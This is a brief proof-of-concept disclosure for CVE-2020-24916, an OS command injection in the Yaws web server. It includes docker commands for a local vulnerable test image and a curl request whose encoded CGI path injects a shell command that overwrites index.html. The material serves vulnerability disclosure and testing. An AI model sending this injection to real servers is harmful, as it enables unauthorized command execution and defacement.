OS command injection in Yaws web server (CVE-2020-24916)

Proof of concept

Build test image:

docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .

and/or

Run container docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html

Credit

Alexey Pronin (@vulnbe)

References

• Vulnerability analysis
• Yaws on github
• CVE-2020-24916
• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')